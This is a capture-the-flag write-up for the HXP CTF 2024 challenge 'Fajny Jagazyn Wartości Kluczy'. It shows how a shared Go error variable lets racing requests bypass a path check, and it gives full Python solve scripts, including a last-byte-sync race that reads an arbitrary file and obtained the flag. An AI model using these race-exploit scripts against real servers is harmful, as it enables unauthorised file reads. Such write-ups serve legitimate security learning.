Try   HackMD

HXP CTF 2024- Fajny Jagazyn Wartości Kluczy

Writeup by r2uwu2 from PBR | UCLA (as part of SuperDiceCode)

A fresh web scale Key Value Store just for you 🥰

Solves: 8
Points: 588

Challenge

We are given a go http server. Upon requesting to the server, a "frontend" assigns us a session id. It then starts a unique Key-Value (KV) store service corresponding to the session id and proxies our traffic to the service.

The KV store has two useful routes /get and /set. Performing a GET /get?name=owo will get the value corresponding to the key of owo. To set owo to uwu, we can perform a GET /set?name=owo&value=uwu.

The relevant code for /get is below.

dataDir := "/tmp/kv." + session err := os.Mkdir(dataDir, 0o777) if err != nil { panic(err) } err = os.Chdir(dataDir) if err != nil { panic(err) } http.HandleFunc("/get", func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") if err = checkPath(name); err != nil { http.Error(w, "checkPath :(", http.StatusInternalServerError) return } file, err := os.Open(name) if err != nil { http.Error(w, "Open :(", http.StatusInternalServerError) return } data, err := io.ReadAll(io.LimitReader(file, 1024)) if err != nil { http.Error(w, "ReadAll :(", http.StatusInternalServerError) return } w.Write(data) })

For /set, code is the same except it writes to a file with permissions 0o777.

checkPath(name) checks whether name contains . or flag.

Observations

Open Files

In go, files returned by os.Open must be manually closed. This is usually done by opening files with following pattern:

file, err := os.Open(name)
if err != nil {
  return
}
defer file.Close()

However, as we see, the file is never closed. This could lead to potential exploits through accessing previously opened files through reading /proc/self/<fd>.

Race Conditions

On line 47, there is some sneaky going on in if err = checkPath(name); err != nil. In go, varname := value declares a value and varname = value re-assigns to the value. Since the closest previous declaration of err is on line 36 (outside the handler function), err is shared by all invocations to /get on the same session.

If we can cause below order of execution, we can set err = nil and bypass the check.

[request 1] err = checkPath("flag") (an error value)
[request 2] err = checkPath("safe") (nil)
[request 2] err != nil
[request 1] err != nil

Naive Threading

I first tried to trigger the data race by sending requests as fast as possible using python requests library. I created two persistent connections: one to set err = nil between err = checkPath("aflag") and err != nil and another connection to repeatedly send a forbidden path aflag.

import requests
from threading import Thread

base = "http://49.13.169.154:8088/"
url = lambda end: f"{base.rstrip('/')}{end}"

s = requests.Session()

r = s.get(url("/"))

session = s.cookies["session"]

end = False

def get_flag():
    global end
    s = requests.Session()
    s.cookies["session"] = session
    while 1:
        r = s.post(url("/get"), params={"name": "a" + "flag"})
        if "checkPath" not in r.text:
            print("rawr", r.text)
            print(r)
            print(r.content)
    end = True


def nullify_err():
    while not end:
        r = s.get(url("/get"), params={"name": "a"})


t1 = Thread(target=get_flag, daemon=True)
t2 = Thread(target=nullify_err, daemon=True)

t2.start()
t1.start()

t1.join()
t2.join()

If I bypass checkPath("aflag"), I should receive an error message Open :(. However, network jitter is too high and the two requests were not arriving close enough together to cause a race condition.

Lower Layer Attacks

When trying to cause race conditions in remote servers, sending http requests really fast in parallel is often thwarted by network jitter. To get around these limitations, we can be smarter about how we send our requests by looking to the lower layer networking protocols that http requests use.

Single-Packet Attack

If our server uses HTTP/2, we can perform a single-packet attack. HTTP/2's core feature is that it allows us to send multiple http streams over the same tcp connection. It works by sending part of multiple streams in each tcp packet.

Luckily (at least for hackers), this opens up attacks capable of delivering many http requests at nearly the same time. If we send all but the last byte for each http request we want to make, the server will be in a state storing all of our requests. We can then send a single packet containing the last byte for each request. This will cause all requests to be delivered at the same time.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

a quick diagram i drew in xournal++ showing the single-packet attack

This attack is the most well documented, so I checked whether it was possible to perform.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Unfortunately, in the devtools, it seems like the server only supports up to HTTP/1.1. Since we cannot use HTTP/2, we cannot perform this attack.

Last-Byte Sync Attack

With HTTP/1.1, our hopes are not completely lost. We can do a similar but much less effective version of the single packet attack called the last-byte sync attack.

We can start many tcp connections to the server and send all but the last byte of each request corresponding to a connection. Then, we can send the last byte in parallel across each connection.

Since each request's last byte is in a separate tcp packet, network jitter may act to deliver the requests at different times. However, since we are only sending a 1-byte packet instead of a ~100-byte packet, the network jitter is significantly reduced.

last byte sync diagram

Stages of a last byte sync attack. Requests are more likely to be delivered at same time.

I couldn't find any implementations of this rare attack, so I had to rawdog tcp connections and write the solve script from scratch. After many attempts of coding and staring at wireshark, I was not able to trigger a race condition.

Then, all of a sudden, I got the below response from requesting /get?name=oflag

HTTP/1.1 500 Internal Server Error: unset> failed, trying again 36
Content-Length: 8
Content-Type: text/plain; charset=utf-8
Date: Sat, 28 Dec 2024 02:06:26 GMT
X-Content-Type-Options: nosniff

Open :(

We had bypassed the checkPath() constraint and now have arbitrary read!

arc discord

I put in arc's file path to get below solve script:

import random import requests import socket from threading import Thread, Event import time host = "49.13.169.154" port = 8088 base = f"http://{host}:{port}" url = lambda end: f"{base.rstrip('/')}{end}" def get_session(): s = requests.Session() r = s.get(url("/")) session = s.cookies["session"] s.close() return session session = get_session() events = [] barrier = Event() def get_path(fp, ev, alert_on=None): path = f"/get?name={fp}" request = f"""GET {path} HTTP/1.1 Host: {host}:{port} Cookie: session={session} Connection: keep-alive """.replace("\n", "\r\n") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) cnt = 0 while 1: s.sendall(request.encode()) ev.set() barrier.wait() s.send(b"\r\n") time.sleep(0) resp = b"" while chunk := s.recv(4096): resp += chunk if b"\r\n\r\n" in chunk: break if "booted a fresh" in resp.decode(): print("restarted") exit() if alert_on is not None and alert_on in resp.decode(): print(resp.decode()) print("exiting") exit() elif alert_on is not None: print(ev, "failed, trying again", cnt, end="\r", flush=True) cnt += 1 time.sleep(0) barrier.clear() def get_flag(): ev = Event() events.append(ev) # get_path("o" * int(1e1) + "flag", ev, "Open") get_path("/home/ctf/flag.txt", ev, "{") def nullify_err(): ev = Event() events.append(ev) get_path("o" * int(1e1), ev) t2 = [Thread(target=nullify_err, daemon=True) for _ in range(300)] t1 = [Thread(target=get_flag, daemon=True) for _ in range(300)] threads = [*t2, *t1] random.shuffle(threads) for t in threads: t.start() while 1: for ev in events: ev.wait() for ev in events: ev.clear() barrier.set() for t in threads: t.join()

After around 10 seconds of racing, I got the response:

HTTP/1.1 200 OKt at 0x7a1f13c84ec0: unset> failed, trying again 10
Content-Length: 71
Content-Type: text/plain; charset=utf-8
Date: Sat, 28 Dec 2024 02:08:40 GMT

hxp{Another_world-class_product_from_the_former_search_engine_company}

After quickly submitting the flag, I found out that I blooded the challenge hehe.